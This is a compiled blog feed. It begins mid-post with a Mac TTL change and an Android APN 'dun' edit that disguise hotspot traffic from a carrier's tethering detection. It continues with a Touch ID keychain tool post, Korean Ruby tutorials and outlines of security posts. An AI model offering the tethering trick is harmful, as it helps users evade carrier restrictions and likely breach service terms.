3. Change TTL Value (Key Step)

Copy and run this command:

sudo sysctl -w net.inet.ip.ttl=65

When prompted for Password:, enter your Mac login password (nothing will appear on screen while typing - this is normal).

How it works: Mac sends packets with TTL 65 → Phone decreases it by 1 → Carrier receives TTL 64 (normal phone data).

Note: This setting resets after reboot. Run the command again whenever you use hotspot or notice slow speeds.

Method 2: Add 'dun' to Android APN Settings

This method routes your data through the regular 'fast lane' instead of the carrier's designated 'slow tethering lane'.

How to Set Up

Go to Settings > Connections > Mobile Networks > Access Point Names (APN) on your Android phone.
Tap on your current carrier's APN (the one with the blue indicator).
Scroll down to find APN Type.
Add ,dun to the end of existing text (no spaces, just comma).
- Example: default,supl → default,supl,dun
Tap the three dots in the upper right corner and select Save.

Tip: If your data stops working completely after saving, your carrier has blocked this method. Simply remove the dun you added.

After Applying Settings (Important!)

Refresh the network connection on each device for changes to take effect:

Android: Turn on Airplane Mode, wait 10 seconds, then turn it off. (Rebooting also works)
Mac: Don't reboot (TTL will reset). Just turn Wi-Fi off and on, then reconnect to the hotspot.

Now try a Google search. You should notice the frustrating loading times are gone!

Summary

Method	Command/Setting	Notes
Mac TTL Change	`sudo sysctl -w net.inet.ip.ttl=65`	Highly recommended
Android APN	Add `,dun` to APN Type	May be blocked by some carriers
After Setup	Phone: Airplane Mode ON/OFF, Mac: Reconnect Wi-Fi	Don't reboot Mac

Give this a try if you're traveling abroad or if your tethering suddenly got slow after changing data plans!

Originally published at https://dss99911.github.io

Secure and Convenient Keychain Access with Touch ID

dss99911 — Tue, 06 Jan 2026 13:01:58 +0000

Secure and Convenient Keychain Access with Touch ID

The Problem

When accessing passwords stored in macOS Keychain via terminal, you face a security vs convenience dilemma:

security find-generic-password -a "user@example.com" -s "myapp" -w

When you run this command, macOS shows a dialog:

"security" wants to use your confidential information stored in "myapp" in your keychain.

[Deny] [Allow] [Always Allow]

Option 1: Click "Allow" every time

Requires typing your Mac password each time
Secure but inconvenient

Option 2: Click "Always Allow"

Any script can now access this password without authentication
Convenient but insecure

The Solution: Touch ID Authentication

I created keychain-fingerprint, a CLI tool that uses Touch ID for Keychain access.

Benefits

Aspect	Traditional (`security`)	keychain-fingerprint
Authentication	Mac password (slow)	Touch ID (instant)
Security	"Always Allow" = insecure	Always requires Touch ID
Convenience	Type password or allow all	One touch

How It Works

┌─────────────────────────────────────────┐
│         keychain-fingerprint            │
├─────────────────────────────────────────┤
│  1. Touch ID authentication             │
│  2. Access Keychain (auto-authorized)   │
└─────────────────────────────────────────┘

┌─────────────────────────────────────────┐
│         Other apps / terminal           │
├─────────────────────────────────────────┤
│  Keychain access → Mac password prompt  │
└─────────────────────────────────────────┘

When you store a password with this tool:

This app: Can access with Touch ID (app is auto-authorized for items it created)
Other apps: Still require Mac password to access

Installation

# Clone
git clone https://github.com/dss99911/keychain-fingerprint.git
cd keychain-fingerprint

# Compile
swiftc -o keychain-fingerprint main.swift \
    -framework LocalAuthentication \
    -framework Security

# Install (optional)
sudo cp keychain-fingerprint /usr/local/bin/

Usage

Save a password

keychain-fingerprint set myapp user@example.com
# Touch ID prompt → Enter password (hidden)

Retrieve a password

# Direct output
keychain-fingerprint get myapp user@example.com

# Recommended: Capture in variable
PASSWORD=$(keychain-fingerprint get myapp user@example.com)
echo "Password retrieved"
unset PASSWORD  # Clear when done

List saved items

keychain-fingerprint list

Delete a password

keychain-fingerprint delete myapp user@example.com

Security Features

All commands require Touch ID authentication
Passwords stored encrypted in macOS Keychain
Password input is hidden (no echo)
Device-only access (kSecAttrAccessibleWhenUnlockedThisDeviceOnly)
Other apps still require Mac password

Requirements

macOS with Touch ID (MacBook Pro/Air with Touch ID, or Apple Silicon Mac with Magic Keyboard with Touch ID)
Xcode Command Line Tools

Source Code

Full source code available on GitHub: dss99911/keychain-fingerprint

For an alternative approach using root permissions instead of Touch ID, see: How to always allow Mac keychain password only by specific app

Originally published at https://dss99911.github.io

Ruby 기초 - 문법과 기본 개념

dss99911 — Wed, 31 Dec 2025 04:42:33 +0000

Ruby 프로그래밍 언어의 기본 문법과 개념을 알아봅니다.

참고 자료

Ruby Learning

기본 정보

파일 형식: 파일명.rb
실행 방법: ruby 파일명.rb (확장자가 rb가 아니어도 실행 가능)
인터프리터 언어

주석

# 한 줄 주석

=begin
여러 줄 주석
=end

구분자 (Delimiters)

# 줄바꿈
puts \
  'hello'

# 명령 구분 (라인이 바뀌면 생략 가능)
puts 'hello'; puts 'world'

Bang (!) Methods

호출한 객체에 메서드 결과를 직접 세팅합니다.

a = 'aaaA'
a.downcase!
puts a  # "aaaa"

Symbol

심볼은 값은 없고 구별할 때 사용됩니다.

:심볼명

변수 선언

x = 10

# 기본값 설정
@variable ||= "default value"

# 병렬 할당 (parallel assignment)
x, y, z = [true, 'two', false]

메서드 선언

# 파라미터 없는 경우
def hello
  'Hello'
end

# 파라미터 있는 경우
def hello1(name)
  'Hello ' + name
end
puts(hello1('satish'))

# 괄호 없이 파라미터 사용
def hello2 name2
  'Hello ' + name2
end
puts(hello2 'talim')

# 파라미터 기본값 설정
def mtd(arg1="Dibya", arg2=arg1 + "Shashank", arg3="Shashank")
  "#{arg1}, #{arg2}, #{arg3}."
end
puts mtd
puts mtd("ruby")

# 메서드 별칭 (alias)
def oldmtd
  "old method"
end
alias newmtd oldmtd
def oldmtd
  "old improved method"
end
puts oldmtd   # "old improved method"
puts newmtd   # "old method"

# 가변 파라미터
def foo(*my_string)
  my_string.inspect
end
puts foo('hello', 'world')
puts foo()

연산자

# || 또는 or
@var = @var || "first"
@var ||= "second"  # var이 없거나 false이면 "second" 사용

입력

# 명령줄 인자
f = ARGV[0]
puts f

# 사용자 입력
city = gets.chomp  # chomp는 개행문자 제거
puts "The city is " + city

출력

puts 'Hello'  # put string (줄바꿈 포함)
p 'hello'     # 구조를 출력
print 'hi'    # 줄바꿈 없음

랜덤

rand(max_value)

Originally published at https://dss99911.github.io

Ruby 예외 처리와 정규 표현식

dss99911 — Wed, 31 Dec 2025 04:42:16 +0000

Ruby의 예외 처리와 정규 표현식 사용법에 대해 알아봅니다.

예외 처리

raise (예외 발생)

def raise_exception
  puts 'I am before the raise.'
  raise 'An error has occured'
  puts 'I am after the raise'  # 실행되지 않음
end

raise_exception

begin/rescue (try/catch)

def raise_and_rescue
  begin
    puts 'I am before the raise.'
    raise 'An error has occured.'
    puts 'I am after the raise.'
  rescue
    puts 'I am rescued.'
  end
  puts 'I am after the begin block.'
end

raise_and_rescue

여러 예외 타입 처리

begin
  # ...
rescue OneTypeOfException
  # ...
rescue AnotherTypeOfException
  # ...
else
  # 다른 예외들
end

예외 정보 얻기

begin
  raise 'A test exception.'
rescue Exception => e
  puts e.message
  puts e.backtrace.inspect
end

정규 표현식 (Regex)

기본 사용법

m1 = /Ruby/.match("The future is Ruby")
puts m1.class  # MatchData

m2 = "The future is Ruby" =~ /Ruby/
puts m2        # 14 (매칭 시작 위치)

캡처 그룹

string = "My phone number is (123) 555-1234."
phone_re = /\((\d{3})\)\s+(\d{3})-(\d{4})/
m = phone_re.match(string)

unless m
  puts "There was no match..."
  exit
end

print "The whole string we started with: "
puts m.string

print "The entire part of the string that matched: "
puts m[0]

puts "The three captures: "
3.times do |index|
  puts "Capture ##{index + 1}: #{m.captures[index]}"
end

puts "Here's another way to get at the first capture:"
print "Capture #1: "
puts m[1]

Originally published at https://dss99911.github.io

Ruby 블록과 Lambda

dss99911 — Wed, 31 Dec 2025 04:42:01 +0000

Ruby의 블록(Block)과 Lambda에 대해 알아봅니다.

블록 (Blocks)

블록은 메서드 호출과 함께 코드 블록을 전달하는 방법입니다.

기본 사용법

def call_block
  puts 'Start of method'
  yield
  yield
  puts 'End of method'
end

call_block { puts 'In the block' }

파라미터가 있는 블록

def call_block
  yield('hello', 99)
end

call_block { |str, num| puts str + ' ' + num.to_s }

블록 존재 여부 확인

def try
  if block_given?
    yield
  else
    puts "no block"
  end
end

try                        # "no block"
try { puts "hello" }       # "hello"
try do puts "hello" end    # "hello"

블록을 통한 반복

x = 10
5.times do |x|
  puts "x inside the block: #{x}"
end
puts "x outside the block: #{x}"

Lambda

Lambda는 익명 함수를 만드는 방법입니다.

기본 사용법

prc = lambda { puts 'Hello' }
prc.call

# 여러 줄 Lambda
toast = lambda do
  'Cheers'
end
puts toast.call

Lambda를 메서드 파라미터로 전달

def some_mtd(some_proc)
  puts 'Start of mtd'
  some_proc.call
  puts 'End of mtd'
end

say = lambda do
  puts 'Hello'
end

some_mtd(say)

파라미터가 있는 Lambda

a_Block = lambda { |x| "Hello #{x}!" }
puts a_Block.call('World')  # "Hello World!"

Originally published at https://dss99911.github.io

Ruby 클래스와 객체지향 프로그래밍

dss99911 — Wed, 31 Dec 2025 04:41:45 +0000

Ruby의 클래스와 객체지향 프로그래밍에 대해 알아봅니다.

기본 클래스

class Test
  puts :Test.object_id.to_s
  def test
    puts :test.object_id.to_s
    @test = 10
    puts :test.object_id.to_s
  end
end

t = Test.new
t.test

생성자와 인스턴스 변수

class Dog
  def initialize(breed, name)
    # 인스턴스 변수
    @breed = breed
    @name = name
  end

  def bark
    puts 'Ruff! Ruff!'
  end

  def display
    puts "I am of #{@breed} breed and my name is #{@name}"
  end
end

d = Dog.new('Labrador', 'Benzy')

# 객체 ID 확인
puts "The id of d is #{d.object_id}."

# 메서드 존재 여부 확인
if d.respond_to?("talk")
  d.talk
else
  puts "Sorry, d doesn't understand the 'talk' message."
end

d.bark
d.display

# 객체 참조 복사
d1 = d
d1.display

# nil 참조
d = nil
# d1 = nil  # 이 시점에서 Dog 객체는 GC 대상

method_missing

존재하지 않는 메서드 호출 시 처리합니다.

class Dummy
  def method_missing(m, *args, &block)
    puts "There's no method called #{m} here -- please try again."
  end
end

Dummy.new.anything
# 출력: There's no method called anything here -- please try again.

클래스에 메서드 추가

기존 클래스에 메서드 추가

require_relative 'p030motorcycle'
m = MotorCycle.new('Yamaha', 'red')
m.start_engine

class MotorCycle
  def disp_attr
    puts 'Color of MotorCycle is ' + @color
    puts 'Make of MotorCycle is ' + @make
  end
end

m.disp_attr
m.start_engine
puts self.class
puts self

기본 클래스에 메서드 추가

class String
  def write_size
    self.size
  end
end

size_writer = "Tell me my size!"
puts size_writer.write_size

상속

class Mammal
  def breathe
    puts "inhale and exhale"
  end
end

class Cat < Mammal
  def speak
    puts "Meow"
  end
end

rani = Cat.new
rani.breathe
rani.speak

메서드 오버라이드

class Bird
  def preen
    puts "I am cleaning my feathers."
  end
  def fly
    puts "I am flying."
  end
end

class Penguin < Bird
  def fly
    puts "Sorry. I'd rather swim."
  end
end

p = Penguin.new
p.preen
p.fly

super 키워드

class Dog
  def initialize(breed)
    @breed = breed
  end
end

class Lab < Dog
  def initialize(breed, name)
    super(breed)
    @name = name
  end

  def to_s
    "(#@breed, #@name)"
  end
end

puts Lab.new("Labrador", "Benzy").to_s

추상 클래스

class AbstractKlass
  def welcome
    puts "#{hello} #{name}"
  end
end

class ConcreteKlass < AbstractKlass
  def hello; "Hello"; end
  def name; "Ruby students"; end
end

ConcreteKlass.new.welcome  # "Hello Ruby students"

접근 제어

class ClassAccess
  def m1          # public
  end

  protected
    def m2        # protected
    end

  private
    def m3        # private
    end
end

# 또는
class ClassAccess
  def m1
  end
  public :m1
  protected :m2, :m3
  private :m4, :m5
end

클래스 구조 확인

# 메서드 구조 확인
puts self.private_methods.sort
s.class

# 부모 클래스 확인
a = [1, 2, 3, 4]
print a.class.ancestors

# Object ID
puts "string".object_id
puts "string".object_id  # 다른 ID

Originally published at https://dss99911.github.io

Ruby 제어문 - 조건문과 반복문

dss99911 — Wed, 31 Dec 2025 04:41:29 +0000

Ruby의 조건문과 반복문에 대해 알아봅니다.

조건문

if / else

s1 = 'Jonathan'
s2 = 'Jonathan'
s3 = s1

if s1 == s2
  puts 'Both Strings have identical content'
else
  puts 'Both Strings do not have identical content'
end

elsif

if name == 'Satish'
  puts 'What a nice name!!'
elsif name == 'Sunil'
  puts 'Another nice name!'
end

unless

if not과 동일합니다.

unless ARGV.length == 2
  puts "Usage: program.rb 23 45"
  exit
end

한 줄 조건문

puts "Enrollments will now Stop" if participants > 2500

case / when

year = 2000
leap = case
       when year % 400 == 0 then true
       when year % 100 == 0 then false
       else year % 4 == 0
       end
puts leap  # true

반복문

times

rice_on_square = 1

64.times do |square|
  puts "On square #{square + 1} are #{rice_on_square} grain(s)"
  rice_on_square *= 2
end

# 간단한 형태
5.times { puts "Mice!\n" }

while

var = 0
while var < 10
  puts var
  var += 1
end

Range와 삼항 연산자

age = 23
person = (13...19).include?(age) ? "teenager" : "not a teenager"
puts person  # "not a teenager"

each

locations.each do |loc|
  puts 'I love ' + loc + '!'
  puts "Don't you?"
end

Originally published at https://dss99911.github.io

Ruby 파일 처리와 시스템 명령

dss99911 — Wed, 31 Dec 2025 04:41:13 +0000

Ruby에서 파일 처리와 시스템 명령 실행 방법을 알아봅니다.

파일 읽기

File.open('p014constructs.rb', 'r') do |f1|
  while line = f1.gets
    puts line
  end
end

파일 쓰기

File.open('test.rb', 'w') do |f2|
  f2.puts "Created by Satish\nThank God!"
end

파일 인코딩

File.open('p014constructs.rb', 'r:UTF-16LE:UTF-8') do |f1|
  # ...
end

디렉토리 순회

require 'find'

Find.find('./') do |f|
  type = case
         when File.file?(f) then "F"
         when File.directory?(f) then "D"
         else "?"
         end
  puts "#{type}: #{f}"
end

랜덤 액세스

f = File.new("hellousa.rb")

# SEEK_CUR - 현재 위치에서 상대 이동
# SEEK_END - 파일 끝에서 상대 이동 (음수 값 사용)
# SEEK_SET - 절대 위치로 이동
f.seek(12, IO::SEEK_SET)
print f.readline
f.close

루비 파일 로딩

load

파일을 실행할 때마다 포함합니다.

load 'filename.rb'

require

파일을 한 번만 로드합니다. (확장자 .rb 생략 가능)

require 'filename'

require_relative

상대 경로로 파일을 로드합니다.

require_relative 'p030motorcycle'

시스템 명령 실행

백틱 사용

puts `ls`

system 메서드

처리 성공 여부를 true/false로 반환합니다.

system("pwd")

환경 변수

ENV.each { |k, v| puts "#{k}: #{v}" }

Originally published at https://dss99911.github.io

Forem: dss99911

회사 Chrome, 개인 Brave — 링크 클릭 한 번으로 자동 분기하기 (Finicky)

Finicky란?

설치

설정

자주 쓰는 패턴

특정 도메인 매칭

내부 IP 대역

예외 처리 (순서 활용)

안전한가요?

결론

Android ADB 무선 디버깅 완전 정리 - 보안 모델과 현실적인 대응 전략

목차

1. ADB 무선 디버깅의 두 가지 방식

Legacy 방식 (adb tcpip)

Wireless Debugging (Android 11+)

두 방식의 비교

2. adb tcpip 포트는 언제 열리는가?

3. Android IP 주소 알아내는 방법

방법 1. 설정 화면 (가장 쉬움)

방법 2. adb 명령어 (USB 연결 상태)

네트워크 인터페이스 정리

4. ADB 인증 모델 이해하기

RSA 키 기반 인증

PC 허용은 언제 일어나는가?

악성 스크립트 시나리오

5. 보안적으로 위험한 상황 분석

일반적인 카페 Wi-Fi

이론적으로 위험해지는 조건

열린 포트 확인 방법

6. 무선 ADB 연결 종료 방법

가장 확실한 방법

대안

7. ADB Key 관리 전략

기본 키 위치

전략 1: root-only + sudo adb

전략 2: Keychain + wrapper 스크립트

8. 현실적인 최종 권장안

개인 개발자 기준 최적 균형

정리

승인된 PC 목록 초기화

마무리

참고 자료

Linux 서버 보안 모델 완벽 가이드 - 시크릿 관리와 프로세스 격리

한 줄 요약

들어가며: AI 시대, 서버 보안이 더 중요해진 이유

인지되지 않은 백그라운드 스크립트의 위험

이 글에서 다루는 것

1. Linux vs macOS 보안 철학 비교

macOS: 앱별 권한 세분화

Linux: 유저/그룹 기반 권한

철학 차이 요약

2. Linux 보안의 핵심 한계

같은 유저 = 같은 권한

GNOME Keyring도 앱별 격리 없음

EC2 기본 설정의 문제

3. 실용적인 보안 전략

전략 1: 시크릿 파일 권한 설정 (기본)

전략 2: systemd LoadCredential (권장)

전략 3: 서비스별 전용 유저

전략 4: sudo 비밀번호 필수화

전략 5: TTY 필수 설정

4. 실전 시나리오: AI 에이전트 서버 보안

AI 에이전트의 특수성

요구사항

해결책: sudo + 전용 유저 + LoadCredential

5. AWS 환경 시크릿 관리

EC2 IAM Role의 한계

해결책: 서비스별 격리

AWS Secrets Manager + LoadCredential 조합

6. 백그라운드 프로세스 모니터링

인지되지 않은 스크립트 탐지

수상한 징후

자동화된 모니터링

7. 보안 체크리스트

서버 기본 설정

시크릿 관리

프로세스 격리

8. 결론

AI 시대의 Linux 보안 원칙

Legacy 방식 (`adb tcpip`)